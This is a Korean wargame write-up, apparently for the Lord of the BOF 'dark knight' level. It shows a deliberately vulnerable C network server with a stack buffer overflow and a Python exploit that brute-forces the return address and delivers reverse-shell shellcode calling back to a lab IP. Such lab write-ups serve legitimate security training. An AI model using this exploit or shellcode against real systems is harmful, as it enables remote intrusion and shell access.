728x90
반응형
1. intro
2. code 및 분석
2.1. C code
/*
The Lord of the BOF : The Fellowship of the BOF
- dark knight
- remote BOF
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <dumpcode.h>
main()
{
char buffer[40];
int server_fd, client_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size;
if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(6666);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero), 8);
if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
perror("bind");
exit(1);
}
if(listen(server_fd, 10) == -1){
perror("listen");
exit(1);
}
while(1) {
sin_size = sizeof(struct sockaddr_in);
if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
perror("accept");
continue;
}
if (!fork()){
send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
send(client_fd, "You : ", 6, 0);
recv(client_fd, buffer, 256, 0);
close(client_fd);
break;
}
close(client_fd);
while(waitpid(-1,NULL,WNOHANG) > 0);
}
close(server_fd);
}
2.2. 분석
리버스쉘, 바인드쉘 문제이다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
ret address 변조가 가능하며, 이를 통해 특정 포트를 열거나, 다른 서버로 접속할 수 있다.
3.2. 공격 준비
포트가 안열린다...
죽어도 안열린다...
막아뒀나보다.
4. exploit
페이로드 구성은 아래와 같다.
대략 이걸로 마무리 하는걸로 하자... 리버스, 바인드 셀은 이제 거의 사용되지 않으니까...
from socket import *
from struct import *
p = lambda x : pack("<L",x)
shellcode=\
"\x68"+\
"\xc0\xa8\x11\x84"+\ #ip address
"\x5e\x66\x68"+\
"\xc7\x38"+\ #port
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"+\
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"+\
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"+\
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"+\
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"+\
"\xeb\xce"
HOST = '192.168.17.135'
PORT = 6666
limit = 255
for j in range(0xff, 0, -1):
for i in range(0, 0xff, 1):
payload = ("A" * 44) + chr(i) + chr(j) + "\xff\xbf" + ("\x90" * (limit-len(shellcode)-48)) + shellcode
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
print hex(j) + " " + hex(i)
print s.recv(1024)
#print s.recv(10)
s.send(payload)
s.close()
728x90
반응형
'Wargame > Hackerchool' 카테고리의 다른 글
[lob] nightmare -> xavius (0) | 2022.09.21 |
---|---|
[lob] succubus -> nightmare (0) | 2022.09.21 |
[lob] zombie_assassin -> succubus (0) | 2022.09.16 |
[lob] assassin -> zombie_assassin (0) | 2022.09.16 |
[lob] giant -> assassin (0) | 2022.09.16 |